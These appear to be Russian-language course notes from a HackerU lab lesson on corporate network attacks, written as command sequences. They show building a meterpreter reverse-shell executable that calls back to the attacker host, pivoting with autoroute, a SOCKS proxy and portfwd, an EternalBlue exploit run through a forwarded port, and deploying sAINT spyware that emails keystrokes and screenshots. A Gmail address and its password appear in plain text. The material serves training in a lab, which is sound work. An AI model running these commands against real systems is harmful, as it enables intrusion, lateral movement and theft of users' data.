---
# System prepended metadata

title: CSB-3 - №7
tags: [HackerU-CIT]

---

###### tags: `HackerU-CIT`
# CSB-3 - №7
CSB-3._12.07.2021_Cyber Infrastructure Threats
[Оглавление курса](https://hackmd.io/Yp9g_F6sTE-0ED_uwyM2tw#CSB-3_12072021_Cyber-Infrastructure-Threats)
*  [Занятие 7. Сетевая безопасность корпоративной инфраструктуры MSF6: meterpreter, SOCKS5 прокси, Portfwd. sAINT](https://hackmd.io/inT3jgPoSoyVhf2OmVfruw?both)
Понедельник, 26 июля 2021 г., с 18:30 до 21:30 (МСК)
![](https://i.imgur.com/lQrPK3v.png)
Kali во внешней сети 172.30.51.33
Win7 VAN 10 - 192.168.10.10 (позже VAN 20 - 192.168.20.23)
Wni10 VAN 20 - 192.168.20.10
Gateway(PFsense) VLAN 10 - 192.168.10.254 VLAN 20 - 192.168.20.254 NAtive 192.168.100.254
##### Создание файла:
`msfvenom -p windows/meterpreter/reverse_tcp lhost=172.30.51.33 -f exe -o /root/Shells/revers_tcp_meterpreter.exe`
##### Запуск службы и подключение:
`msfconsole`
`use exploit/multi/handler`
`set payload windows/x64/meterpreter/reverse_tcp`
`show options`
`set LHOST 172.30.51.33`
`run`
![](https://i.imgur.com/1IEXvCj.png)
#### [Продвинутое туннелирование: атакуем внутренние узлы корпоративной сети](https://habr.com/ru/post/326148/)
`meterpreter > ipconfig:`
`run autoroute route -s 192.168.20.0/24`
не отработала, другим способоми
`meterpreter > bg`
`sessions`
`use post/multi/manage/autoroute`
`show options`
![](https://i.imgur.com/rv34Jyd.png)
`set session 1`
`set subnet 192.168.20.0`
![](https://i.imgur.com/6K0wamO.png)
`sessions 1`
`meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.20.0/24`
![](https://i.imgur.com/7TUE843.png)
Запускаем SOCKS5 прокси 
`use auxiliary/server/socks_proxy`
`show options`
`set SRVHOST 172.30.51.33`
`run`
`clear`
`ss -tunlp`
Наша прокси:
![](https://i.imgur.com/LgqdAfz.png)
Настраиваем браузер
![](https://i.imgur.com/HoSEJDH.png)
`nano /etc/proxychains.conf` > socks5 172.30.51.33 1080
`proxychains nmap -sT -sV -Pn -n -p22,80,445,135,139 192.168.20.10/24`
Пока сканируется сеть идём дальше
##### Найти все VLAN организации из дампа трафика
tshark -r input.cap -T fields -e vlan.id | sort -n -u
`run post/multi/manage/autoroute SUBNET=192.168.0.0/16`
`run post/multi/manage/autoroute SUBNET=192.168.10.0/24`
bg
Win 7 переводим во влан 20 меняем адрес на 192.168.20.23
![](https://i.imgur.com/0QQpohc.png)
Получаем доступ до Win10 с помощью meterpreter/revers_tcp 
`use exploit/multi/handler`
`set payload windows/x64/meterpreter/reverse_tcp`
`show options`
`set LHOST 172.30.51.33`
`run`
прописываем маршрут на Win10
`run post/multi/manage/autoroute SUBNET=192.168.20.0/24`
пробросываем port-forwarding
[Portfwd](https://www.offensive-security.com/metasploit-unleashed/portfwd/)
`portfwd add -L 172.30.51.33 -l 4443 -p 443 -r 192.168.20.254`
Отключаем прокси в браузере Кали атакующего и пробуем получить доступ к Pfsense
![](https://i.imgur.com/G9pnGoS.png)
Видим защиту на сайте.
Пробросим 445 для атаки на хост внутри
`portfwd add -L 172.30.51.33 -l 445 -p 445 -r 192.168.20.23`
`bg`
попробуем этернал блю на проброщеный порт
search eternal
use 0
show options
set lport 4455
set rhost 172.30.51.33
run
![](https://i.imgur.com/bwXW4Fs.png)
msf6(Kali outside) > win10 (meterpreter/reverse_tcp) - portfwd to Win7 > Win7 (eternalblue-smb) console
#### sAINT
[tiagorlampert / sAINT](https://github.com/tiagorlampert/sAINT)
saint stealer в браузере
`apt update`
`apt install maven default-jdk default-jre openjdk-11-jre -y`
`apt install openjdk-11-jre openjdk-11-jdk -y`
`apt install zlib1g-dev libncurses5-dev lib32z1 lib32ncurses6 -y`
`git clone https://github.com/tiagorlampert/sAINT.git`
`cd sAINT`
`chmod +x configure.sh`
`./configure.sh`
Run > `java -jar sAINT.jar`
Создаём учётку гугл 
csb3hacker@gmail.com
Qq123456*
Запускаем и выполняем первоначальную настройку:
![](https://i.imgur.com/sNdpMpN.png)
Пишим почту, соглашаемся с получением целевого файла (sINT/traget/*.exe)
для работы на атакуемом хосте необходимо установить java 
отправлем файлик на целевой хост запускаем и получаем на почту собщения с информацией:
кейлогер.снимки
![](https://i.imgur.com/6JztZiV.png)
Win10 avast пропускает файл но блокирует деятельность
![](https://i.imgur.com/BEbrH9y.png)



##### PROXY CHAIN
[Поворот [Pivoting] - метод перемещения внутри сети.](https://www.offensive-security.com/metasploit-unleashed/pivoting/)

